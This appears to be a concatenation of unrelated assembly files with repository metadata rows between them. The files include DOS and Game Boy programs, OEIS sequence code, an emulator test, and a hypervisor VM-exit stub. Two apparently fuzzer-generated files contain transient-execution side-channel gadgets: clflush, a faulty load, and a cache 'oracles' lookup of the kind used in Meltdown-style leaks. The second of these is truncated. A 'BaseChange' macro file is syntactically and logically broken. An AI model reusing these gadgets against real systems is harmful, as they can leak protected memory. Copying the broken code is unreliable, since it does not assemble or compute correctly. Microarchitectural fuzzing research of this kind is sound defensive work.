DATA SEGMENT
NUM1 DB ?
NUM2 DB ?
RESULT DB ?
MSG1 DB 10,13,"ENTER INT 1 : $"
MSG2 DB 10,13,"ENTER INT 2 : $"
MSG3 DB 10,13,"MUL : $"
CODE SEGMENT
ASSUME DS:DATA CS:CODE
START:
MOV AX,DATA
MOV DS,AX
LEA DX,MSG1
MOV AH,9
INT 21H
MOV AH,1
INT 21H
SUB AL,30H
MOV NUM1,AL
LEA DX,MSG2
MOV AH,9
INT 21H
MOV AH,1
INT 21H
SUB AL,30H
MOV NUM2,AL
MUL NUM1
MOV RESULT,AL
AAM
ADD AH,30H
ADD AL,30H
MOV BX,AX
LEA DX,MSG3
MOV AH,9
INT 21H
MOV AH,2
MOV DL,BH
INT 21H
MOV AH,2
MOV DL,BL
INT 21H
MOV AH,4CH
INT 21H
ENDS
END START
| 11.915663 | 40 | 0.365015 | [
"MIT"
] | santo6774/CSE331L_Section_7_Summer20_NSU_Final | Script/8.asm | 989 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x8a58, %r9
nop
nop
nop
nop
nop
sub %r8, %r8
movw $0x6162, (%r9)
nop
nop
nop
nop
sub %r15, %r15
lea addresses_A_ht+0xcd20, %rdi
nop
nop
xor $47477, %rsi
mov $0x6162636465666768, %r8
movq %r8, %xmm5
vmovups %ymm5, (%rdi)
nop
nop
add %r8, %r8
lea addresses_D_ht+0xacc8, %rsi
lea addresses_WC_ht+0x1dda8, %rdi
clflush (%rsi)
sub $10517, %r10
mov $106, %rcx
rep movsl
sub $18946, %r9
lea addresses_WT_ht+0x34a8, %rsi
lea addresses_A_ht+0x10b04, %rdi
clflush (%rdi)
nop
nop
nop
nop
add $16065, %r11
mov $76, %rcx
rep movsq
and %r9, %r9
lea addresses_A_ht+0x1d6c9, %rcx
nop
nop
xor %rdi, %rdi
mov $0x6162636465666768, %r11
movq %r11, %xmm5
movups %xmm5, (%rcx)
nop
nop
nop
nop
nop
add $8869, %r9
lea addresses_A_ht+0xcb2a, %r11
nop
nop
nop
nop
nop
cmp $49493, %r15
movups (%r11), %xmm1
vpextrq $1, %xmm1, %rsi
nop
nop
nop
nop
nop
inc %r15
lea addresses_D_ht+0x92a8, %rsi
lea addresses_A_ht+0x1aea8, %rdi
add %r8, %r8
mov $44, %rcx
rep movsq
nop
nop
nop
cmp $56137, %r8
lea addresses_normal_ht+0x35a8, %rsi
lea addresses_A_ht+0x78b0, %rdi
nop
nop
nop
nop
nop
and $62354, %r11
mov $32, %rcx
rep movsb
nop
nop
sub $10861, %r11
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %r9
push %rbx
push %rdx
// Store
lea addresses_normal+0x193ea, %r11
nop
nop
inc %r9
mov $0x5152535455565758, %rbx
movq %rbx, %xmm1
vmovaps %ymm1, (%r11)
nop
nop
nop
nop
sub %r11, %r11
// Faulty Load
lea addresses_D+0x198a8, %r9
clflush (%r9)
nop
and $35585, %r11
mov (%r9), %dx
lea oracles, %r13
and $0xff, %rdx
shlq $12, %rdx
mov (%r13,%rdx,1), %rdx
pop %rdx
pop %rbx
pop %r9
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 32, 'AVXalign': True}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': True}}
{'36': 1835}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 37.023256 | 2,999 | 0.660019 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_1835_1549.asm | 6,368 | Assembly |
; A015451: a(n) = 6*a(n-1) + a(n-2) for n > 1, with a(0) = a(1) = 1.
; 1,1,7,43,265,1633,10063,62011,382129,2354785,14510839,89419819,551029753,3395598337,20924619775,128943316987,794584521697,4896450447169,30173287204711,185936173675435,1145790329257321,7060678149219361,43509859224573487,268119833496660283,1652228860204535185,10181492994723871393,62741186828547763543,386628613966010452651,2382512870624610479449,14681705837713673329345,90472747896906650455519,557518193219153576062459,3435581907211828106830273,21171009636490122217044097,130461639726152561409094855,803940847993405490671613227,4954106727686585505438774217,30528581214112918523304258529,188125594012364096645264325391,1159282145288297498394890210875,7143818465742149087014605590641,44022192939741192020482523754721,271276976104189301209909748118967,1671684049564876999279941012468523,10301381273493451296889555822930105,63479971690525584780617275950049153,391181211416646959980593211523225023
mov $2,$0
mov $3,$0
mov $5,$0
lpb $5
mov $0,$3
sub $0,$2
mov $2,$0
mov $3,6
add $4,$0
add $4,1
mul $3,$4
sub $5,1
lpe
div $0,6
mul $0,6
add $0,1
| 56.25 | 893 | 0.846222 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/015/A015451.asm | 1,125 | Assembly |
%ifdef CONFIG
{
"RegData": {
"RAX": ["0x4010000000000000"],
"RBX": ["0x4000000000000000"]
},
"Env": { "FEX_X87REDUCEDPRECISION" : "1" }
}
%endif
mov rcx, 0xe0000000
lea rdx, [rel data]
fld tword [rdx + 8 * 0]
lea rdx, [rel data2]
fld tword [rdx + 8 * 0]
fsubrp st1, st0
lea rdx, [rel data3]
fld tword [rdx + 8 * 0]
fstp qword [rcx]
mov rax, [rcx]
fst qword [rcx]
mov rbx, [rcx]
hlt
align 8
data:
dt 2.0
dq 0
data2:
dt 4.0
dq 0
data3:
dt 4.0
dq 0
| 11.756098 | 44 | 0.591286 | [
"MIT"
] | Seas0/FEX | unittests/ASM/X87_F64/DE_E0_F64.asm | 482 | Assembly |
; A133623: Binomial(n+p, n) mod n where p=3.
; 0,0,2,3,1,0,1,5,4,6,1,11,1,8,6,9,1,16,1,11,8,12,1,21,1,14,10,15,1,26,1,17,12,18,1,31,1,20,14,21,1,36,1,23,16,24,1,41,1,26,18,27,1,46,1,29,20,30,1,51,1,32,22,33,1,56,1,35,24,36,1,61,1,38,26,39,1,66,1,41,28,42,1,71,1,44,30,45,1,76,1,47,32,48,1,81,1,50,34,51
mov $1,1
add $1,$0
mov $2,$1
add $1,3
bin $1,$2
mod $1,$2
mov $0,$1
| 33.818182 | 257 | 0.591398 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/133/A133623.asm | 372 | Assembly |
;++
;
; Copyright (c) Petr Benes. All rights reserved.
;
; Module:
;
; vcpu.asm
;
; Abstract:
;
; This module implements VM-Exit stub handler.
;
; Author:
;
; Petr Benes (@PetrBenes) 26-Jul-2018 - Initial version
;
; Environment:
;
; Kernel mode only.
;
;--
INCLUDE ksamd64.inc
INCLUDE ia32/common.inc
.CODE
;
; Useful definitions.
;
VCPU_OFFSET = -8000h ; -vcpu_stack_size
VCPU_LAUNCH_CONTEXT_OFFSET = 0
VCPU_EXIT_CONTEXT_OFFSET = 144 ; sizeof context
SHADOW_SPACE = 20h
;
; Externally used symbols.
;
; "public: __int64 __cdecl ia32::context_t::capture(void)"
EXTERN ?capture@context_t@ia32@@QEAAHXZ : PROC
; "public: void __cdecl ia32::context_t::restore(void)"
EXTERN ?restore@context_t@ia32@@QEAAXXZ : PROC
; "private: void __cdecl hvpp::vcpu_t::entry_host(void)"
EXTERN ?entry_host@vcpu_t@hvpp@@AEAAXXZ : PROC
; "private: void __cdecl hvpp::vcpu_t::entry_guest(void)"
EXTERN ?entry_guest@vcpu_t@hvpp@@AEAAXXZ : PROC
;++
;
; private:
; static void __cdecl
; hvpp::vcpu_t::entry_guest_(void)
;
; Routine description:
;
; Determines virtual cpu context from the stack pointer and calls
; vcpu_t::entry_guest() method.
;
;--
?entry_guest_@vcpu_t@hvpp@@CAXXZ PROC
;
; RCX = &vcpu
; RBX = &vcpu.launch_context_
;
lea rcx, qword ptr [rsp + VCPU_OFFSET]
lea rbx, qword ptr [rsp + VCPU_LAUNCH_CONTEXT_OFFSET]
;
; Create shadow space
;
sub rsp, SHADOW_SPACE
call ?entry_guest@vcpu_t@hvpp@@AEAAXXZ
;
; Restore CPU context
; Note that RBX is preserved, because it is non-volatile register
;
mov rcx, rbx
jmp ?restore@context_t@ia32@@QEAAXXZ
?entry_guest_@vcpu_t@hvpp@@CAXXZ ENDP
;++
;
; private:
; static void __cdecl
; hvpp::vcpu_t::entry_host_(void)
;
; Routine description:
;
; This method captures current CPU context and calls vcpu_t::entry_host()
; method.
;
; Note that this procedure is declared with FRAME attribute.
;
; This attribute causes MASM to generate a function table entry in
; .pdata and unwind information in .xdata for a function's structured
; exception handling unwind behavior. If ehandler is present, this
; proc is entered in the .xdata as the language specific handler.
;
; When the FRAME attribute is used, it must be followed by an .ENDPROLOG
; directive.
; (ref: https://docs.microsoft.com/cs-cz/cpp/build/raw-pseudo-operations)
;
; Among exception handling, which isn't very important for us, this
; is especially useful for recreating callstack in WinDbg.
;
;--
?entry_host_@vcpu_t@hvpp@@CAXXZ PROC FRAME
push rcx
;
; RCX = &vcpu.exit_context_
;
lea rcx, qword ptr [rsp + 8 + VCPU_EXIT_CONTEXT_OFFSET]
call ?capture@context_t@ia32@@QEAAHXZ
;
; RBX = &vcpu.exit_context_
; RCX = original value of RCX
; RSP = original value of RSP
;
mov rbx, rcx
pop rcx
mov context_t.$rcx[rbx], rcx
mov context_t.$rsp[rbx], rsp
;
; RCX = &vcpu
;
lea rcx, qword ptr [rsp + VCPU_OFFSET]
;
; Create dummy machine frame.
;
; This code is not critical for any hypervisor functionality, but
; it'll help WinDbg to "append" callstack of the application which
; initiated VM-exit to the callstack of the hypervisor. In another
; words - the callstack of the application which initiated VM-exit
; will be shown "below" the vcpu_t::entry_host_() method.
;
; This is achieved by forcing WinDbg to think this is in fact
; interrupt handler. When interrupt occurs in 64-bit mode, the
; CPU pushes [ SS, RSP, EFLAGS, CS, RIP ] on the stack before
; execution of the interrupt handler (we call it "machine frame").
; At the end of the interrupt handler, these values are restored
; using the IRETQ instruction.
; See Vol3A[6.14.2(64-Bit Mode Stack Frame)] for more details.
;
; We will manually emulate this behavior by pushing 5 values
; (representing the registers mentioned above) on the stack
; and then issuing directive .pushframe. The .pushframe directive
; doesn't emit any assembly instruction - instead, an opcode
; UWOP_PUSH_MACHFRAME is emitted into the unwind information of
; the executable file. WinDbg recognizes this opcode and will
; look at the RIP and RSP values of the machine frame to recreate
; callstack. Other fields than RIP and RSP appear to be ignored
; by WinDbg (and we don't use them either).
;
; TL;DR:
; WinDbg recreates callstacks of interrupt handlers by looking
; at RIP and RSP fields of the machine frame. Therefore, make
; WinDbg think this function is an interrupt handler by pushing
; fake machine frame + issuing .pushframe.
;
; Note1:
; nt!KiSystemCall64(Shadow) work in similar way.
;
; Note2:
; Correct values of RIP and RSP fields are set in the
; vcpu_t::entry_host() method (vcpu.cpp).
;
; See: https://docs.microsoft.com/en-us/cpp/build/struct-unwind-code
;
push KGDT64_R3_DATA or RPL_MASK ; push dummy SS selector
push 2 ; push dummy RSP
push 3 ; push dummy EFLAGS
push KGDT64_R3_CODE or RPL_MASK ; push dummy CS selector
push 5 ; push dummy RIP
.pushframe
;
; Create shadow space.
;
; The .allocstack directive will tell the compiler to emit
; UWOP_ALLOC_SMALL opcode into the unwind information of the
; executable file. This will help WinDbg to recognize that
; in this stack-space there are local variables (and reserved
; shadow space for callees, respectivelly) and that this space
; belongs to this function.
;
; This is also needed for the callstack reconstruction to work
; correctly - otherwise WinDbg might wrongly look in this space
; to look for return addresses or stack pointers (RIP/RSP).
;
sub rsp, SHADOW_SPACE
.allocstack SHADOW_SPACE
;
; Finally, issue the .endprolog directive.
;
; This will signal end of prologue declarations (such as allocation
; of the shadow space).
;
.endprolog
call ?entry_host@vcpu_t@hvpp@@AEAAXXZ
;
; Restore CPU context
; Note that RBX is preserved, because it is non-volatile register
;
mov rcx, rbx
jmp ?restore@context_t@ia32@@QEAAXXZ
?entry_host_@vcpu_t@hvpp@@CAXXZ ENDP
END
| 28.653333 | 79 | 0.674577 | [
"MIT"
] | Cloutain/hvpp | src/hvpp/hvpp/vcpu.asm | 6,447 | Assembly |
;--------------------------------------------------------
; File Created by SDCC : FreeWare ANSI-C Compiler
; Version 2.3.1 Wed Sep 04 21:56:19 2019
;--------------------------------------------------------
.module string
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _strcpy
.globl _memcpy
.globl _strcmp
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; special function bits
;--------------------------------------------------------
;--------------------------------------------------------
; internal ram data
;--------------------------------------------------------
.area _DATA
;--------------------------------------------------------
; overlayable items in internal ram
;--------------------------------------------------------
.area _OVERLAY
;--------------------------------------------------------
; indirectly addressable internal ram data
;--------------------------------------------------------
.area _ISEG
;--------------------------------------------------------
; bit data
;--------------------------------------------------------
.area _BSEG
;--------------------------------------------------------
; external ram data
;--------------------------------------------------------
.area _XSEG
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
; string.c 7
; genLabel
; genFunction
; ---------------------------------
; Function strcpy
; ---------------------------------
___strcpy_start:
_strcpy:
lda sp,-4(sp)
; string.c 9
; genAssign
; AOP_STK for
; AOP_STK for _strcpy_d_1_1
lda hl,6(sp)
ld a,(hl+)
ld e,(hl)
lda hl,2(sp)
ld (hl+),a
ld (hl),e
; string.c 10
; genAssign
; AOP_STK for
; AOP_STK for _strcpy_s_1_1
lda hl,8(sp)
ld a,(hl+)
ld e,(hl)
lda hl,0(sp)
ld (hl+),a
ld (hl),e
; string.c 11
; genAssign
; AOP_STK for _strcpy_d_1_1
; (registers are the same)
; genAssign
; AOP_STK for _strcpy_s_1_1
dec hl
ld c,(hl)
inc hl
ld b,(hl)
; genLabel
00101$:
; genPointerGet
ld a,(bc)
; genAssign (pointer)
; AOP_STK for _strcpy_d_1_1
lda hl,2(sp)
ld e,(hl)
inc hl
ld d,(hl)
ld (de),a
; genIfx
or a,a
jp z,00103$
; string.c 12
; genPlus
; AOP_STK for _strcpy_d_1_1
; genPlusIncr
dec hl
inc (hl)
jr nz,00108$
inc hl
inc (hl)
00108$:
; genPlus
; genPlusIncr
inc bc
; genGoto
jp 00101$
; genLabel
00103$:
; string.c 13
; genRet
; AOP_STK for
lda hl,6(sp)
ld e,(hl)
inc hl
ld d,(hl)
; genLabel
00104$:
; genEndFunction
lda sp,4(sp)
ret
___strcpy_end:
; string.c 18
; genLabel
; genFunction
; ---------------------------------
; Function memcpy
; ---------------------------------
___memcpy_start:
_memcpy:
lda sp,-6(sp)
; string.c 20
; genAssign
; (operands are equal 3)
; string.c 21
; genAssign
; (operands are equal 3)
; string.c 22
; genAssign
; AOP_STK for
; AOP_STK for _memcpy_d_1_1
lda hl,8(sp)
ld a,(hl+)
ld e,(hl)
lda hl,4(sp)
ld (hl+),a
ld (hl),e
; genAssign
; AOP_STK for
; AOP_STK for _memcpy_s_1_1
lda hl,10(sp)
ld a,(hl+)
ld e,(hl)
lda hl,2(sp)
ld (hl+),a
ld (hl),e
; genAssign
; AOP_STK for
lda hl,12(sp)
ld c,(hl)
inc hl
ld b,(hl)
; genLabel
00101$:
; genAssign
; AOP_STK for _memcpy_sloc0_1_0
lda hl,0(sp)
ld (hl),c
inc hl
ld (hl),b
; genMinus
dec bc
; genIfx
; AOP_STK for _memcpy_sloc0_1_0
dec hl
ld a,(hl+)
or a,(hl)
jp z,00103$
; string.c 23
; genPointerGet
; AOP_STK for _memcpy_s_1_1
inc hl
ld e,(hl)
inc hl
ld d,(hl)
ld a,(de)
; genAssign (pointer)
; AOP_STK for _memcpy_d_1_1
inc hl
ld e,(hl)
inc hl
ld d,(hl)
ld (de),a
; string.c 24
; genPlus
; AOP_STK for _memcpy_d_1_1
; genPlusIncr
dec hl
inc (hl)
jr nz,00108$
inc hl
inc (hl)
00108$:
; string.c 25
; genPlus
; AOP_STK for _memcpy_s_1_1
; genPlusIncr
lda hl,2(sp)
inc (hl)
jr nz,00109$
inc hl
inc (hl)
00109$:
; genGoto
jp 00101$
; genLabel
00103$:
; string.c 27
; genRet
; AOP_STK for
lda hl,8(sp)
ld e,(hl)
inc hl
ld d,(hl)
; genLabel
00104$:
; genEndFunction
lda sp,6(sp)
ret
___memcpy_end:
; string.c 32
; genLabel
; genFunction
; ---------------------------------
; Function strcmp
; ---------------------------------
___strcmp_start:
_strcmp:
lda sp,-1(sp)
; string.c 36
; genAssign
; (operands are equal 3)
; genAssign
; (operands are equal 3)
; genLabel
00102$:
; genPointerGet
; AOP_STK for
lda hl,3(sp)
ld e,(hl)
inc hl
ld d,(hl)
ld a,(de)
ld c,a
; genPointerGet
; AOP_STK for
inc hl
ld e,(hl)
inc hl
ld d,(hl)
ld a,(de)
ld b,a
; genMinus
ld a,c
sub a,b
ld c,a
; genAssign
; AOP_STK for _strcmp_ret_1_1
lda hl,0(sp)
ld (hl),c
; genIfx
; genIfx
xor a,a
or a,c
jp nz,00104$
or a,b
jp z,00104$
; string.c 37
; genPlus
; AOP_STK for
; genPlusIncr
lda hl,3(sp)
inc (hl)
jr nz,00117$
inc hl
inc (hl)
00117$:
; genPlus
; AOP_STK for
; genPlusIncr
lda hl,5(sp)
inc (hl)
jr nz,00118$
inc hl
inc (hl)
00118$:
; genGoto
jp 00102$
; genLabel
00104$:
; string.c 39
; genCmpLt
; AOP_STK for _strcmp_ret_1_1
lda hl,0(sp)
ld a,(hl)
xor a,#0x80
cp #0x00^0x80
jp nc,00108$
; string.c 40
; genRet
ld de,#0xFFFFFFFF
jp 00110$
; genLabel
00108$:
; string.c 41
; genCmpGt
; AOP_STK for _strcmp_ret_1_1
ld e,#0x80
lda hl,0(sp)
ld a,(hl)
xor a,#0x80
ld d,a
ld a,e
sub a,d
jp nc,00109$
; string.c 42
; genRet
ld de,#0x0001
jp 00110$
; genLabel
00109$:
; string.c 43
; genRet
ld de,#0x0000
; genLabel
00110$:
; genEndFunction
lda sp,1(sp)
ret
___strcmp_end:
.area _CODE
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE
.area _CODE
| 16.837535 | 57 | 0.489103 | [
"MIT"
] | 230-v/gb-studio | buildTools/win32-x64/gbdk/libc/string.asm | 6,011 | Assembly |
%macro addbyte 3
; first is memory location to output
; second is the memory location of the string
; third parameter is the base of the number
mov eax, [%1]
mov di, 0
%%loopagain:
mov edx, 0
div %3
xchg eax, edx
cmp al, 0Ah
js %%addvalue
add al, 7
%%addvalue:
add al,48
mov [%2], al
mov al,[%1]
and al,0f0h
shr al,4
cmp al,09h
js %%addvalue2
add al,7
%%addvalue2:
add al,8
mov [%2+di], al
inc di
xchg eax edx
cmp al, 0
js %%loopagain
%endmacro
global _main
extern _printf
section .text
_main:
addbyte number, numberstr
mov al,[number]
and al,0f0h
shr al,4
cmp al,09h
js addvalue2
add al,7
addvalue2:
add al,8
push fmt
push message
call _printf
add esp,8
ret
section .data
fmt:
db '%s', 10, 0
message:
db 'Hello, my students',10,0
numberstr:
times 11 db 0
number:
dd 000004dAH
| 13.184615 | 46 | 0.652275 | [
"Apache-2.0"
] | zlb323/Portfolio | BaseChange.asm | 857 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xcf85, %r11
nop
nop
xor %r9, %r9
mov (%r11), %cx
nop
nop
nop
cmp %rsi, %rsi
lea addresses_D_ht+0x8275, %rsi
lea addresses_normal_ht+0x1ae61, %rdi
nop
nop
nop
nop
nop
add $55857, %rdx
mov $113, %rcx
rep movsb
nop
inc %rdi
lea addresses_D_ht+0xf21, %rdx
nop
nop
nop
nop
xor $28111, %r13
mov $0x6162636465666768, %rsi
movq %rsi, %xmm1
movups %xmm1, (%rdx)
nop
nop
dec %rdi
lea addresses_D_ht+0xac95, %r13
nop
inc %rdx
mov (%r13), %di
nop
inc %r9
lea addresses_WC_ht+0x17465, %rsi
lea addresses_WC_ht+0x285d, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
cmp %r8, %r8
mov $94, %rcx
rep movsq
nop
nop
nop
nop
cmp %rdx, %rdx
lea addresses_D_ht+0x16225, %rsi
lea addresses_WC_ht+0x11ef5, %rdi
nop
nop
nop
nop
sub $16683, %r11
mov $46, %rcx
rep movsl
cmp %r9, %r9
lea addresses_normal_ht+0xeb95, %rsi
lea addresses_WC_ht+0x10855, %rdi
nop
xor $11394, %r13
mov $106, %rcx
rep movsb
nop
nop
nop
nop
dec %r11
lea addresses_WT_ht+0x116f5, %rdx
nop
nop
nop
xor $13245, %r13
movl $0x61626364, (%rdx)
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_WT_ht+0x16995, %r13
nop
and $30318, %r11
mov (%r13), %r9w
nop
inc %rsi
lea addresses_UC_ht+0x1671f, %rsi
nop
nop
cmp $5685, %rdx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
vmovups %ymm7, (%rsi)
nop
nop
nop
nop
nop
cmp %r13, %r13
lea addresses_D_ht+0x124b5, %r11
nop
nop
nop
add $43863, %rcx
movl $0x61626364, (%r11)
nop
nop
nop
nop
nop
dec %rsi
lea addresses_D_ht+0xc1d5, %r8
nop
nop
nop
nop
sub %rsi, %rsi
mov (%r8), %r9w
nop
nop
and %r11, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_RW+0x15375, %rdx
nop
and $20206, %rsi
mov $0x5152535455565758, %rbp
movq %rbp, %xmm0
movups %xmm0, (%rdx)
cmp %rcx, %rcx
// Store
lea addresses_D+0x10e35, %rbx
xor %r9, %r9
mov $0x5152535455565758, %rdx
movq %rdx, (%rbx)
add %rbx, %rbx
// Store
lea addresses_US+0xce07, %rbx
nop
nop
nop
nop
nop
cmp %r9, %r9
movw $0x5152, (%rbx)
nop
sub %rcx, %rcx
// Store
lea addresses_WT+0x5f75, %rbp
nop
nop
nop
nop
nop
add $54476, %rdi
movw $0x5152, (%rbp)
nop
cmp %rsi, %rsi
// Store
mov $0x3a8, %rdi
and $59889, %rcx
movw $0x5152, (%rdi)
nop
nop
nop
nop
sub %rbx, %rbx
// Faulty Load
lea addresses_A+0x76f5, %rdi
nop
nop
nop
nop
nop
cmp $16336, %rdx
movb (%rdi), %r9b
lea oracles, %rdi
and $0xff, %r9
shlq $12, %r9
mov (%rdi,%r9,1), %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': True, 'size': 1, 'type': 'addresses_A', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_RW', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_US', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_P', 'congruent': 0}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 4}}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}}
